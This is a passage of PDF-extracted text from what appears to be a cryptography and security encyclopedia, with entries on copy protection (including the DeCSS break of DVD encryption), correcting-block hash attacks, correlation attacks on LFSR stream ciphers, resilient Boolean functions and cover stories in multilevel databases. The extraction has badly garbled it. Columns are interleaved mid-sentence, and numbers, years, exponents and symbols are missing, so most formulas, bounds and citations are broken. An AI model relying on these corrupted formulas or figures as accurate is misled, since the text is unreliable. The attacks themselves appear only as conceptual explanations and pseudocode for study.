. RFC - HTTP State Management Mechanism, October playback stage.
. Karlof C () Dynamic pharming attacks and locked same-
Inhibiting unauthorized recording: For content that is
origin policies for web browsers. In: Proceedings of the th
ACM conference on computer and communications security,
distributed on physical media such as floppy disks, digi-
Alexandria, VA, Oct tal audio tape (DAT), CD-ROM, or digital versatile disk
. Kristol D () HTTP Cookies: Standards, privacy, and politics, (DVD), copy protection can be achieved by master copy
Trans Internet Technol (): control or copy generation control.
Master copy control: If consumers are not allowed to
even make backup copies of their master media, then one
can mark the master media themselves in addition to or
Coprime instead of marking the copyrighted content. This was an
inexpensive and common way to protect software dis-
Relatively Prime tributed for example on floppy disks. One of the sectors
containing critical parts of the software was marked as bad
such that data could be read from that sector, but could not
be copied to another floppy disk. Another example is the
Copy Protection copy protection signal in copyrighted video tape cassettes
as marketed by Macrovision. The copy protection signal is
Gerrit Bleumer inserted in the vertical blanking interval, that is, the short
Research and Development, Francotyp Group,
Player A Player B
Related Concepts Original content Playing content

Content Management Systems (CMS); Content/Copy
recording playback
Protection for Removable Media (CPRM); Digital Rights
distributing
Management Copied content Copied content
Denition
Copy protection attempts to find ways that limit the access Copy Protection. Fig. Schematic chain of action to copy
to copyrighted material and/or inhibit the copy process content
Copy Protection C
time between any two video frames, and it contains extra use (pay-per-view). Other kinds of tickets can be defined.
sync pulses and fake video data. Since the TV is not dis- The more tamper resistant the access circuitry is or the
playing anything during the blanking interval, the movie more protected the communication with the license server
is showing fine on a TV. A VCR, on the other hand, is try- and the license server itself is, the stronger copy protection
ing to make a faithful recording of the entire signal that it mechanism can be achieved.
sees. It therefore tries to record the signal containing the Marking of copyrighted content can use anything
extra sync pulses, such that the real video information in from simple one-bit marks to XrML tags to sophisticated
the frame gets recorded at a much lower level than it nor- watermarking techniques. An example of the former is
C
mally would, so the screen turns black instead of showing to define a new audio file format, in which the mark is
the movie. a part of the header block but is not removable without
Copy generation control: If consumers are allowed to destroying the original signal, because part of the defini-
make copies of their master copy, but not of copies of the tion of the file format requires the mark to be therein. In
master copy, then one needs to establish control over the this case, the signal would not really be literally destroyed
vast majority of content recorders, which must be able but any application using this file format would not touch
to effectively prevent the making of unauthorized copies. it without a valid mark. Some electronic copyright manage-
This approach is somewhat unrealistic because even a ment systems (ECMS) propose mechanisms like this. Such
small number of remaining unregistered recorders can be schemes are weak as anyone with a computer or a digital
used by organized hackers to produce large quantities of editing workstation would be able to convert the informa-
pirated copies. tion to another format and remove the mark at the same
Inhibiting unauthorized playback: Instead of protecting time. Finally, this new audio format would be incompati-
the distribution media of digital content, one can protect ble with the existing ones. Thus, the mark should better be
copyrighted digital content itself by marking copyrighted really embedded in the audio signal. This is very similar to
content and enforcing playback control by allowing only SCMS (Serial Code Management System). When Phillips
players that interpret these copyright marks according to and Sony introduced the S/PDIF (Sony/Phillips Digital
certain access policies (access control). This approach Interchange Format), they included the SCMS which pro-
works for digital content that is being distributed on phys- vides a way copies of digital music are regulated in the
ical media as well as being broadcast or distributed online. consumer market. This information is added to the stream
It is an example of digital rights management (DRM). of data that contains the music when one makes a digital
Mark copyrighted content: If consumers are allowed to copy (a clone). This is in fact just a bit saying: digital copy
make a few backup copies for their personal use, then the prohibited or permitted. Some professional equipment are
copyrighted digital content itself can be marked as copy exempt from having SCMS. With watermarking, however,
protected in order to be distinguishable from unprotected the copy control information is part of the audiovisual sig-
digital content. The more robust the marking is, that is, the nal and aims at surviving file format conversion and other
harder it is to remove it without significantly degrading the transformations.
quality of the digital content, the stronger copy protection Inhibiting unauthorized distribution: An alternative
mechanism can be achieved. to marking is containing copyrighted content. With this
Playback control: Players for copyrighted content need approach, the recording industry encrypts copyrighted
to have a tamper resistant access circuitry that is aware digital content under certain encryption keys such that
of the copy protection marking, or players need to use only players with appropriate decryption keys can access
online license servers to check the actual marks. Before and playback the content.
converting digital content into audible or visible signals, Encrypt copyrighted content: The copyrighted digital
the player compares the actual marking against the licenses content itself is encrypted in order to be accessible by
or tickets, which are either built into their access circuitry authorized consumers only. The more robust the encryp-
or are retrieved from a license server online, and stops tion, the stronger copy protection mechanism can be
playback if the former does not match the latter. The exact achieved.
behavior of players is determined by access policies. There Playback control: Players for copyrighted content need
can be different kinds of tickets or licenses. Tickets of one to have a tamper resistant access circuitry that is aware
kind may represent the right of ownership of a particular of certain decryption keys that are necessary to unlock the
piece of content, that is, the piece of content can be played contents the consumer wants to be played. Before convert-
or used as many times as the owner wishes. Tickets of ing digital content into audible or visible signals, the player
another kind may represent the right of one-time play or needs to look up the respective decryption keys, which are
C Copy Protection
either built into the access circuitry of the player or are in investigations to figure out where and when unautho-
retrieved from a license server online. The exact behav- rized copies of original content have surfaced. This retroac-
ior of players is determined by access policies. There can tive approach can be combined with the above-mentioned
be different kinds of decrypting keys. Decrypting keys of proactive approach by using the embedded serial numbers
one kind may represent the right of ownership of a partic- as individual watermarks, which are recognized by players
ular piece of content, that is, the piece of content can be for the respective content.
played or used as many times as the owner wishes. Tick- This approach can use anything from hidden serial
ets of another kind may represent the right of one-time numbers to sophisticated fingerprinting techniques. Fin-
play or use (pay-per-view). Other kinds of decryption keys gerprints are characteristics of an object that tend to dis-
can be defined. The more tamper resistant the access cir- tinguish it from other similar objects. They enable the
cuitry or the more protected the communication with the owner to trace authorized users distributing them illegally.
license server and the license server itself is, the stronger In the case of encrypted satellite television broadcasting,
copy protection mechanism can be achieved. for instance, users could be issued a set of keys to decrypt
In order to effectively prevent consumers from copy- the video streams and the television station could insert
ing digital content protected in this way, the players must fingerprint bits into each packet of the traffic to detect
not allow consumers to easily access the decrypted digi- unauthorized uses. If a group of users give their subset of
tal content. Otherwise, the containing approach would not keys to unauthorized people (so that they can also decrypt
prevent consumers from reselling, trading, or exchanging the traffic), at least one of the key donors can be traced
digital content at their discretion. As a first line of pro- when the unauthorized decoder is captured. In this respect,
tection, players should not provide a high-quality output fingerprinting is usually discussed in the context of the
interface for the digital content. A stronger level of protec- traitor tracing problem.
tion is achieved if the decryption mechanism is integrated
into the display, such that pirates would only obtain signals Open Problems
of degraded quality. The content scrambling system (CSS) Copy protection is inherently difficult to achieve in open
used for digital versatile disks (DVDs) [] is an example of systems for at least two reasons: The requirements on
the containing approach: in CSS, each of n manufactur- watermarking are contradictory. In order to build an effec-
ers (n being several hundreds by ) has one or more tive large-scale copy protection system, the vast majority
manufacturer keys, and each player has one or more keys of available players had to be equipped with some kind
of its manufacturer built in. Each DVD has its own disk of tamper resistant circuitry or had online access to some
key dk, which is stored n times in encrypted form, once license servers. Such circuitry had to be cheap and be inte-
encrypted under each manufacturer key. The DVD con- grated right into the players, and such online service had to
tent is encrypted under respective sector keys, which are be cheap and conveniently fast. Otherwise, the watermark-
all derived from the disk key dk. ing had no chance to gain any significant market share.
Copy protection mechanisms can also work retroac- However, tamper resistant hardware is expensive, so the
tively by deterring authorized users from leaking copies cost per player limits the strength of the tamper resistance
to unauthorized users. This approach requires solving the of its access circuitry. Online services incur communica-
following two problems. tion costs on consumers and do not give them the indepen-
Mark copy protected content individually: Copy pro- dence and speed of off-line access circuitry. The way how
tected digital content carries information about its origin, the CSS used for DVDs was hacked is just one more inci-
that is, the original source, author, distributor, etc., in order dent demonstrating the contradicting requirements: since
to allow to trace its distribution and spreading. It is like the encryption mechanism was chosen to be a weak feed-
embedding a unique serial number in each authorized back shift register cipher, it was only a matter of time until
copy of protected content. The more robust the embedded a program called DeCSS surfaced, which can decipher any
marking, that is, the harder it is to remove it without sig- DVD. The access circuitry of players into which the deci-
nificantly degrading the quality of the digital content, the phering algorithm is built was not well protected against
stronger copy protection mechanism can be achieved. reverse engineering the algorithm, and hence, the secret
Deter from unauthorized access: Players need to have algorithm leaked, and with it the DVD keys one by one.
no tamper resistant access circuitry nor online access to The watermarking scheme of the Secure Digital Music
license servers. Instead, each customer who receives an Initiative (SDMI) [] (a successor of MP) was broken
authorized copy is registered with the serial number of the by Fabien Petitcolas []. Later, a public challenge of this
copy provided. The marking serves as forensic evidence watermarking scheme was broken by Felten et al. []. The
Correcting-Block Attack C
SDMI consortium felt this piece of research might jeopar- legislative issues, etc., is given by the Electronic Privacy
dize the consortiums reputation and revenue so much that Information Center at [].
the SDMI consortium threatened to sue the authors if they
would present their work at a public conference. Attacks Recommended Reading
on various other copy protection mechanisms have been . Anderson R () Security engineering. Wiley, New York
described by Anderson in Sect. .. of []. . Bloom JA, Cox IJ, Kalker T, Linnartz J-PMG, Miller ML,
The requirements on fingerprinting are contradic- Brendan C, Traw S () Copy protection for DVD video. Proc
tory as well. On one hand, the broadcaster or copyright

IEEE (): C
. Craver SA, Min W, Liu B, Subblefield A, Swartzlander B, Wallach
holder may want to easily recognize the fingerprint, prefer- DS, Dean D, Felten EW () Reading between the lines: Lessons
ably visually. This allows easy tracing of a decoder that is from the SDMI Challenge. In: th USENIX security sympo-
used for illegal purposes. This approach is very similar to sium , The USENIX Association , Washington, DC, pp
the commonly used watermarking by means of the logo
. Digital Millennium Copyright Act. http://www.lo.gov/copyright/
of a TV station that is continuously visible in one of the legislation/dmca.pdf
corners of the screen. On the other hand, the fingerprint . Digital Rights Management. http://www.epic.org/privacy/drm/
should be hidden, in order not to disturb paying view- . Petitcolas FA, Anderson R, Kuhn MG () Attacks on copy-
ers with program-unrelated messages on their screen, or right marking systems. In: Aucsmith D (ed) Information hiding.
to avoid any pirate detecting and erasing the fingerprint Lecture notes in computer science, vol . Springer, Berlin,
pp
electronically. In the latter case, one may require specific . Secure Digital Music Initiative. http://www.sdmi.org
equipment to detect and decode a fingerprint. . Trusted Computing Platform Initiative. http://www.
Despite the inherent technical difficulties to build trustedcomputing.org
effective large-scale copy protection systems, the content
industries (TV producers, movie makers, audio makers,
software companies, publishers) have and will continue to
have a strong interest in protecting their revenues against Correcting-Block Attack
pirates. They are trying to overcome the contradictory
requirements mentioned above by two complementing Bart Preneel
approaches: they try to control the entire market of media Department of Electrical Engineering-ESAT/COSIC,
players and recorders by contracting with the large sup- Katholieke Universiteit Leuven and IBBT,
pliers. While they opt for relatively weak but inexpen- Leuven-Heverlee, Belgium
sive access circuitry for these players, they compensate for
the weakness by promoting suitable laws that deter con-
sumers from breaking this access circuitry or resorting to Synonyms
unauthorized players, or using unauthorized recorders. An Chosen prefix attack
example for trying to make secure access circuitry perva-
sive in the PC market is the trusted computing platform Related Concepts
alliance (TCPA) []. An example of such legislative ini- Hash Functions
tiative is the digital millennium copyright act (DMCA) []
in the United States. It prohibits the modification of any Denition
electronic copyright arrangement information (CMI) bun- A correcting block attack on a Hash Function finds one
dled with digital content, such as details of ownership or more blocks that make two different internal states
and licensing, and outlaws the manufacture, importation, collide or that bring an internal state to a given hash result.
sale, or offering for sale of anything primarily designed to
circumvent copyright protection technology. Background
It is clear that the issue of copy protection is a special Correcting block attacks have been applied in the s to
case of the more general issue of digital rights manage- a range of hash functions based on modular arithmetic;
ment (DRM). Both issues bear the risk of a few companies more recently they have also shown to be effective against
defining the access policies, which are enforced by the play- custom designed hash functions such as MD.
ers and thus determine what and how a vast majority of
people would be able to read, watch, listen to, or work Theory
with. An extensive overview of the debate about content A correcting block attack finds collisions or (second)
monopolies, pricing, free speech, democratic, privacy, and preimages for certain Hash Functions. The opponent can
C Correcting-Block Attack
freely choose the start of the message; for this reason some This is a highly undesirable property, which a.o. implies
authors call this attack a chosen prefix attack. For a preim- that this hash function cannot be used in combination
age attack, one chooses an arbitrary message X and finds with a multiplicative signature scheme such as RSA. In
one or more correcting blocks Y such that h(XY) takes , ISO has adopted two improved schemes based on
a certain value (here denotes concatenation). For a sec- modular arithmetic (ISO/IEC - Modular Arithmetic
ond preimage attack on the target message XY, one freely Secure Hash, MASH- and MASH- []), which so far have
chooses X and searches one or more correcting blocks Y resisted correcting-block attacks.
such that h(X Y ) = h(XY) (note that one may select A correcting block collision attack was applied by
X = X). For a collision attack, one chooses two arbitrary Stevens et al. [] to MD with a cost of calls to the
messages X and X with X X; subsequently one searches compression function. The authors, who called this attack
for one or more correcting blocks denoted with Y and Y , a chosen prefix attack, managed to exploit this attack to
such that h(X Y ) = h(XY). This attack often applies obtain a rogue server certificate []: they created two care-
to the last block and is then called a correcting-last-block fully crafted MD-based X. certificates, and had one
attack, but it can also apply to earlier blocks. Note also that of these certificates signed by a commercial certification
once a collision has been found, one can append to both authority as a user certificate.
messages an arbitrary string Z.
Recommended Reading
Applications . Bosset J () Contre les risques daltration, unsystme de cer-
Hash functions based on algebraic structures are partic- tification des informations. Informatique, No. , February
ularly vulnerable to this attack, since it often possible to
invert the compression function using algebraic manip- . Camion P () Can a fast signature scheme without secret be
ulations []. A typical countermeasure to a correcting- secure? In: Poli A (ed) Applied algebra, algebraic algorithms,
and error-correcting codes: nd international conference, pro-
block attack consists of adding redundancy to the message
ceedings. Lecture notes in computer science, vol . Springer,
blocks, so that it becomes computationally infeasible to Berlin, pp
find a correcting block with the necessary redundancy. . Coppersmith D () Analysis of ISO/CCITT Document X.
The price paid for this solution is a degradation of the Annex D. IBM T.J. Watson Center, Yorktown Heights, ,
performance. Internal Memo, June
. Davies D, Price WL () Digital signatures, an update.
A first example is a multiplicative hash proposed by
In: Proceedings th International Conference on Computer
Bosset in [], based on GL (GF(p)), the group of Communication, October , pp
invertible matrices over GF(p), with p = , . Camion . Girault M () Hash-functions using modulo-n operations.
showed how to find a second preimage using a correct- In: Chaum D, Price WL (eds) Advances in cryptology EURO-
ing block attack that requires correcting blocks of bits CRYPT : proceedings, Amsterdam, April . Lec-
ture notes in computer science, vol . Springer, Berlin, pp
each [].

In Davies and Price [] proposed a hash function . Girault M, Misarsky J-F () Selective forgery of RSA signa-
with the following compression function f : tures using redundancy. In: Fumy W (ed) Advances in cryptol-
ogy EUROCRYPT : proceedings, Konstanz, May .
f = (Hi Xi ) mod N , Lecture notes in computer science, vol . Springer, Berlin,
pp
where Xi is the message block, Hi is the chaining variable,
. ISO/IEC () Information technology Security tech-
and N is an RSA modulus. In order to preclude a correct- niques Hash-functions, Part : Hash-functions using modular
ing block attack, the text input is encoded such that the arithmetic
most (or least) significant bits of each block are equal . ITU-T X. () The Directory Overview of Concepts.
to . However, Girault [] has demonstrated that a sec- ITU-T Recommendation X. (same as IS -, )
. Preneel B () Analysis and design of cryptographic hash
ond preimage can be found using the extended Euclidean
functions. Doctoral Dissertation, Katholieke Universiteit Leu-
algorithm (Euclidean Algorithm); improved results can ven
be found in []. . Sotirov A, Stevens M, Appelbaum J, Lenstra AK, Molnar D,
The scheme of CCITT X. Annex D [] tried to Osvik DA, de Weger B () Short chosen-prefix collisions for
remedy this approach by distributing the redundancy (one MD and the creation of a rogue CA certificate. In: Halevi S
(ed) Advances in cryptology CRYPTO : proceedings, Santa
nibble in every byte). However, Coppersmith [] applied a
Barbara, August . Lecture notes in computer science,
correcting block attack to find two distinct messages X and vol . Springer, Berlin, pp
X such that . Stevens M, Lenstra AK, de Weger B Chosen-prefix collisions for
h(X ) = h(X) . MD and applications (preprint, )
Correlation Attack for Stream Ciphers C
(where the sum is defined over real numbers) is a random

Correlation Attack for Stream variable which is binomially distributed with mean value
Ciphers N( pi ) and with variance Npi ( pi ) (when N is large
enough). It can be compared to the correlation between the
Anne Canteaut keystream s and a sequence r = (rt )t independent of s
Project-Team SECRET, INRIA Paris-Rocquencourt, (i.e., such that Pr[st rt ] = /). For such a sequence r,
Le Chesnay, France the correlation between s and r is binomially distributed
with mean value and with variance N. Thus, an exhaus-
C
tive search for the initialization of the i-th LFSR can be
Related Concepts performed. The value of the correlation enables to distin-
Combination Generator; Fast Correlation Attack;
guish the correct initial state from a wrong one since the
Filter Generator; Stream Cipher; Symmetric Cryp-
sequence generated by a wrong initial state is assumed to
tography
be statistically independent of the keystream. Table gives
a complete description of the attack.
Denition In practice, an initial state is accepted if the magni-
The correlation attack was proposed by Siegenthaler
tude of the correlation exceeds a certain decision threshold
in . It applies to any running-key generator com-
which is deduced from the expected false alarm probabil-
posed of several linear feedback shift registers (LFSRs).
ity Pf and the non-detection probability Pn (see []). The
The correlation attack is a divide-and-conquer technique:
required keystream length N depends on the probability pi
it aims at recovering the initial state of each constituent
and on the length Li of the involved LFSR: for Pn = .
LFSRs separately from the knowledge of some keystream
and Pf = Li , the attack requires
bits (in a known plaintext attack). A similar ciphertext

only attack can also be mounted when there exists redun- ln(Li ) + pi ( pi )
dancy in the plaintext (see []). N
(pi .)
The original correlation attack presented in [] applies
to some combination generators composed of n LFSRs of running-key bits. Clearly, the attack performs Li trials
lengths L , . . . , Ln . It enables to recover the complete ini- in average where Li is the length of the target LFSR. The
tialization of the generator with only ni= (Li ) trials correlation attack only applies if the probability pi differs
instead of the ni= (Li ) tests required by an exhaustive from /.
search. Some efficient variants of the original correlation
attack can also be applied to other keystream generators Correlation attack on other keystream generators. More
based on LFSRs, like filter generators (fast correlation generally, the correlation attack applies to any keystream
attack for details). generator as soon as the keystream is correlated to the out-
put sequence u of a finite state machine whose initial state
Theory depends on some key bits. These key bits can be deter-
Original correlation attack on combination generators. The mined by recovering the initialization of u as follows: an
correlation attack exploits the existence of a statistical exhaustive search for the initialization of u is performed,
dependence between the keystream and the output of a and the correct one is detected by computing the cor-
single constituent LFSR. In a binary combination gener- relation between the corresponding sequence u and the
ator, such a dependence exists if and only if the output of keystream.
the combining function f is correlated to one of its inputs, Correlation attack on combination generators involving
i.e., if several LFSRs. For combination generators, the correlation

pi = Pr[ f (x , . . . , xn ) xi ] attack can be prevented by using a combining function f

whose output is not correlated to any of its inputs. Such
for some i, i n. It equivalently means that functions are called first-order correlation-immune (or
the keystream sequence s = (st )t is correlated to the -resilient in the case of balanced functions) []. In this
sequence u = (ut )t generated by the i-th constituent case, the running-key is statistically independent of the
LFSR. Namely, the correlation between both sequences output of each constituent LFSR; any correlation attack
calculated on N bits should then consider several LFSRs simultaneously. More
N generally, a correlation attack on a set of k constituent
s +ut mod
() t LFSRs, namely, LFSR i , , LFSR ik , exploits the existence
t=
C Correlation Immune and Resilient Boolean Functions
Correlation Attack for Stream Ciphers. Table Correlation attack

Input. s s . . . sN , N keystream bits,
pi = Pr[f (x , . . . , xn ) xi ] /.
Output. u . . . uLi , the initial state of the i-th constituent LFSR.
For each possible initial state u . . . uLi
Generate the rst N bits of the sequence u produced by the i-th LFSR from the chosen initial state.
Compute the correlation between s s . . . sN and u u . . . uN :
N
()st +ut mod
i=
If is close to N( pi )
return u u . . . uLi
LFSR 1 the Walsh transform of f (Boolean functions). In order to

increase the complexity of the correlation attack, the com-
LFSR 2 s
.. f bining function used in a combination generator should
. have a high correlation-immunity order and a high non-
linearity (more precisely, its Walsh coefficients f(t) should
LFSR n
correlation have a low magnitude for all vectors t with a small Ham-
ming weight). For an m-resilient combining function, the
LFSR i1 complexity of the correlation attack is Li +Li +...+Lim+ . It
.. u can be significantly reduced by using some improved algo-
. g
rithms, called fast correlation attacks.
LFSR ik
Recommended Reading
Correlation Attack for Stream Ciphers. Fig. Correlation . Canteaut A, Trabbia M () Improved fast correlation attacks
using parity-check equations of weight and . In: Advances
attack involving several constituent LFSRs of a combination
in cryptology EUROCRYPT . Lecture notes in computer
generator science, vol . Springer, Heidelberg, pp
. Siegenthaler T () Correlation-immunity of nonlinear com-
bining functions for cryptographic applications. IEEE Trans
Inform Theory IT-():
of a correlation between the running-key s and the out-
. Siegenthaler T () Decrypting a class of stream ciphers using
put u of a smaller combination generator, which consists ciphertext only. IEEE Trans Comput C-():
of the k involved LFSRs combined by a Boolean func- . Zhang M () Maximum correlation analysis of nonlinear
tion g of k variables (see Fig. ). Since Pr[st ut ] = combining functions in stream ciphers. J Cryptol ():
Pr[ f (x , . . . , xn ) g(xi , . . . , xik )] = pg , this attack only
succeeds when pg /. The smallest number of LFSRs
that can be attacked simultaneously is equal to m + ,
where m is the highest correlation-immunity order of the Correlation Immune and Resilient
combining function. Moreover, the Boolean function g of Boolean Functions
(m + ) variables which provides the best approximation
of f is the affine function m+ j= xi j + [, ]. Thus, the most Claude Carlet
efficient correlation attack which can be mounted relies on Dpartement de mathmatiques and LAGA, Universit
the correlation between the keystream s and the sequence Paris , Saint-Denis Cedex, France
u obtained by adding the outputs of LFSRs i , i , . . . , im+ .
This correlation corresponds to Related Concepts
Boolean Functions; Stream Cipher; Symmetric
Pr[st ut ] = f(t), Cryptography
n+
where n is the number of variables of the combining Denition
function, t is the n-bit vector whose i-th component Parameters quantifying the resistance of a Boolean func-
equals if and only if i {i , i , . . . , im+ }, and f denotes tion to the Siegenthaler correlation attack.
Correlation Immune and Resilient Boolean Functions C
Background n-variable m-th order correlation-immune function

Boolean functions has degree at most n m);
The values of the Walsh transform of an n-variable
Theory m-resilient function are divisible by m+ if m n ,
cf. [] (and they are divisible by m++ d if f has
nm
Cryptographic Boolean functions must be balanced (i.e.,
their output must be uniformly distributed) for avoiding degree d, see []). These divisibility bounds have pro-
statistical dependence between their input and their output vided nontrivial upper bounds on the nonlinearities C
(such statistical dependence can be used in attacks). of resilient functions [, ], also partially obtained in
Moreover, any combining function f (x), used for gen- [, ]. The nonlinearity of any m-resilient function is
erating the pseudorandom sequence in a stream cipher upper bounded by n m+ . This bound is tight, at
(Combination generator), must stay balanced if we keep least when m . n, and any m-resilient function
constant some coordinates xi of x (at most m of them, achieving it with equality also achieves Siegenthalers
where m is as large as possible). We say that f is then bound with equality (see []).
m-resilient. More generally, a (non-necessarily balanced) The MaioranaMcFarland construction of resilient func-
Boolean function, whose output distribution probability tions []: let r be a positive integer smaller than n; we denote
is unaltered when any m of its input bits are kept con- n r by s; let g be any Boolean function on Fs and let be
stant, is called m-th order correlation-immune. The notion a mapping from Fs to Fr . We define the function:
of correlation-immune function is related to the notion
of orthogonal array (see []). As cryptographic functions, f,g (x, y) = x (y) g(y)
resilient functions have more practical interest than gen- r
r s
eral correlation-immune functions. = xi i (y) g(y), x F , y F ()
The notion of correlation immunity was introduced i=
by Siegenthaler in []; it is related to an attack on where i (y) is the i-th coordinate of (y). If every element
pseudo-random generators using combining functions: if in (Fs ) has Hamming weight strictly greater than k, then
such combining function f is not m-th order correlation f,g is m-resilient with m k. In particular, if (Fs ) does
immune, then there exists a correlation between the output not contain the null vector, then f,g is balanced.
of the function and (at most) m coordinates of its input;
if m is small enough, a divide-and-conquer attack due Examples of m-resilient functions achieving the best pos-
to Siegenthaler (Correlation Attack for Stream Ciphers) sible nonlinearity n m+ (and thus the best degree)
and later improved by several authors (Fast Correlation have been obtained for n and for every m . n
Attack) uses this weakness for attacking the system. (n being then not limited, see []). They have been con-
The maximum value of m such that f is m-resilient is structed by using the following methods (later generalized
called the resiliency order of f . into the so-called indirect construction []) allowing to
Correlation immunity and resiliency can be char- construct resilient functions from known ones:
acterized through the Walsh transform f(u) = xFn
[, ] Let g be a Boolean function on Fn . Consider
()f (x)xu , see []: f is m-th order correlation-immune
the Boolean function on Fn+ : f (x , . . . , xn , xn+ ) =
if and only if f(u) = for all u Fn such that wH (u)
g(x , . . . , xn ) xn+ . Then, N L(f ) = N L(g) and
m, where wH denotes the Hamming weight (that is, the
d f = d g if d g . If g is m-resilient, then f is
number of nonzero coordinates); and it is m-resilient if and
(m + )-resilient.
only if f(u) = for all u Fn such that wH (u) m.
[] Let g and h be two Boolean functions on Fn .
It is not sufficient for a combining function f , used in a
Consider the function f (x , , xn , xn+ ) = xn+ g
stream cipher, to be m-resilient with large m. As any cryp-
(x , , xn )(xn+ )h(x , , xn ) on Fn+ . Then, Nf
tographic function, it must also have high algebraic degree
Ng + Nh (moreover, if g and h are such that, for every
d f , high nonlinearity N L(f ), and high algebraic immu-
word a, at least one of the numbers g(a),
h(a) is null,
nity (Boolean Functions). There are necessary trade-offs
then N L(f ) equals + min(N L(g), N L(h))).
n
between the number of variables, the algebraic degree, the
If the algebraic normal forms of g and h do not
nonlinearity, and the resiliency order of a function:
have the same monomials of highest degree then d f =
Siegenthalers bound [] states that any m-resilient + max(d g, d h).
function ( m < n ) has algebraic degree smaller If g and h are m-resilient, then f is m-resilient
than or equal to n m and that any (n )-resilient (moreover, if for every a Fn of weight m + , we have
function is affine (Siegenthaler also proved that any g(a)+
h(a) = , then f is (m+)-resilient; this happens
C Cover Story
with h(x) = g(x , . . . , xn ) , where = m mod Denition

, see []). A cover story is a lie, i.e., false information, used to protect
[] Let g be any Boolean function on Fn . Define the the existence of secret information.
Boolean function f on Fn+ by f (x , , xn , xn+ ) =
xn+ g(x , , xn , xn xn+ ). Then, N L(f ) = Background
N L(g) and d f = d g if d g . If g is m-resilient, Cover story has been a controversial concept for the last
then f is m-resilient (and it is (m + )-resilient if years. This concept was first introduced in in the

g(a , . . . , an , ) is null for every vector (a , . . . , an ) SEAVIEW project [] as an explanation for the polyin-
of weight at most m). stantiation technique used in multilevel databases, i.e.,
databases which support a multilevel security policy. To
illustrate the concept of polyinstantiation, consider the
Recommended Reading
example of multilevel relational database that contains the
. Camion P, Carlet C, Charpin P, Sendrier N () On correlation-
immune functions. In: Advances in cryptology: Crypto , Pro- relation EMPLOYEE as shown in Table . This relation
ceedings, Lecture notes in computer science, vol . Springer, stores the salary of each employee of some organization.
Berlin, pp The additional attribute called Tuple_class represents
. Carlet C () On the coset weight divisibility and nonlinearity the classification level assigned to each tuple in relation
of resilient and correlation-immune functions. In: Proceedings of
EMPLOYEE. To get an access to this multilevel relation,
SETA (sequences and their applications ), Discrete math-
ematics and theoretical computer science. Springer, Berlin, pp each user receives a clearance level. The multilevel security
policy then specifies that a given user can get an access to
. Guo-Zhen X, Massey JL () A spectral characterization of some tuple only if his or her clearance level is higher than
correlation-immune combining functions. IEEE Trans Inf The- the tuple classification level.
ory IT-():
Now if one assumes that each employee has only one
. Sarkar P, Maitra S () Nonlinearity bounds and constructions
of resilient Boolean functions. In: Bellare M (ed) CRYPTO , salary, then Johns salary is said to be polyinstantiated. This
LNCS, vol . Springer, Berlin, pp corresponds to a situation where an employee has two dif-
. Siegenthaler T () Correlation-immunity of nonlinear com- ferent salaries but classified at two different classification
bining functions for cryptographic applications. IEEE Trans Inf levels, namely, Secret and Unclassified as shown in Table .
Theory IT-():
Polyinstantiation was first introduced in the SEAVIEW
. Tarannikov YV () On resilient Boolean functions with max-
imum possible nonlinearity. In: Proceedings of INDOCRYPT project []. SEAVIEW provided the following technical
, Lecture notes in computer science, vol . Springer, explanation to justify polyinstantiation. If one considers
Berlin, pp again the example of Table and the following scenario
. Zheng Y, Zhang XM () Improving upper bound on the non- where a user cleared at the unclassified level wants to
linearity of high order correlation immune functions. In: Pro-
insert a tuple telling that Marys salary is ,. Then, there
ceedings of selected areas in cryptography , Lecture notes in
computer science, vol . Springer, Berlin, pp are two different possibilities:
. Carlet C () On the secondary constructions of resilient
and bent functions. Proceedings of Coding, cryptography and
This insert is accepted and the database is updated
combinatorics, progress in computer science and logic, vol , by deleting the secret tuple telling that Marys salary
Birkuser Verlag, pp is ,. This deletion is to enforce the integrity con-
straint specifying that each employee has only one
salary. However, SEAVIEW argues that this is not sat-
isfactory because an unclassified user could actually
Cover Story delete every secret data stored in a multilevel database
by inserting unclassified data, leading to integrity
problem.
Frdric Cuppens, Nora Cuppens-Boulahia
LUSSI Department, TELECOM Bretagne, Cesson Svign
CEDEX, France Cover Story. Table Example of polyinstantiated relation
EMPLOYEE
Employee_id Salary Tuple_Class
Related Concepts John , Secret
Multilevel Database; Multilevel Security Policies; John , Unclassied
Polyinstantiation Mary , Secret
Covert Channels C
This insert is rejected because there is already a secret Cover Story. Table Polyinstantiated relation EMPLOYEE with
salary for Mary stored in the database. In this case, the partial ordered security levels
user who is inserting the tuple can learn that this rejec- Employee_id Salary Tuple_Class
tion is because Mary has a classified salary stored in the John , Condential_
database. This is called a signalling channel and SEAV- John , Condential_
IEW argues that creating such a signalling channel is
also not satisfactory. The authors show in [] that managing cover story C
Thus, since both possibilities are not satisfactory, the solu- using polyinstantiation is not free of ambiguity. To illus-
tion suggested in SEAVIEW is to accept the insert without trate this point, consider the example presented in Table .
updating Marys secret salary, leading to polyinstantiation. Here, one assumes a partially ordered set of security levels
where levels Confidential_ and Confidential_ are incom-
parable and are both lower than Secret. In this situation,
a user cleared at the Secret level can observe both tuples
Theory telling that Johns salary is respectively equal to , and
The concept of cover story was suggested as a semantic , but cannot decide which tuple is a cover story. To
explanation of polyinstantiation. If one considers again the solve this ambiguity, Cuppens and Gabillon [] suggest
example , then Garvey and Lunt [] suggest interpreting that it is more appropriate to explicitly specify which tuple
it as follows: Johns actual salary corresponds to the one actually corresponds to a cover story.
classified at the secret level, namely, ,. The unclassi-
fied tuple telling that Johns salary is , is a cover story, Recommended Reading
namely, a lie used to hide the existence of Johns secret . Biskup J, Bonatti PA () Controlled query evaluation for
salary. Notice that the above scenario is now slightly dif- known policies by combining lying and refusal. Ann Math Artif
ferent if one considers the existence of cover stories. As a Intell ():
matter of fact, this is no longer an unclassified user that will . Cuppens F, Gabillon A () Cover story management. Data
Knowl Eng ():
insert a cover story (actually, an unclassified user must not . Denning DE, Lunt TF, Schell RR, Heckman M, Shockley WR
be aware that a tuple is a cover story) but instead a secret () A multilevel relational data model. In: IEEE symposium
user who will deliberately decide to insert in the database a on security and privacy, Oakland, Apr
lie corresponding to a cover story in order to hide the exis- . Garvey TD, Lunt TF () Cover stories for database security.
tence of a secret tuple. It is especially crucial that a cover DBSec
. Sandhu RS, Jajodia S () Polyinstantation for cover stories. In:
story is properly chosen so that it is credible for the unclas- ESORICS, Toulouse, Nov
sified users. If these unclassified users could detect that
some tuple is a lie, then the existence of the secret tuple
could be broken.
In [], it is noticed that using cover stories should Covert Channels
be restricted to special situations where it is necessary to
hide the existence of a secret tuple. When this is not the Yvo Desmedt
case, then Sandhu and Jajodia [] suggest using a spe- Department of Computer Science, University College
cial value called Restricted. For instance, if one considers London, London, UK
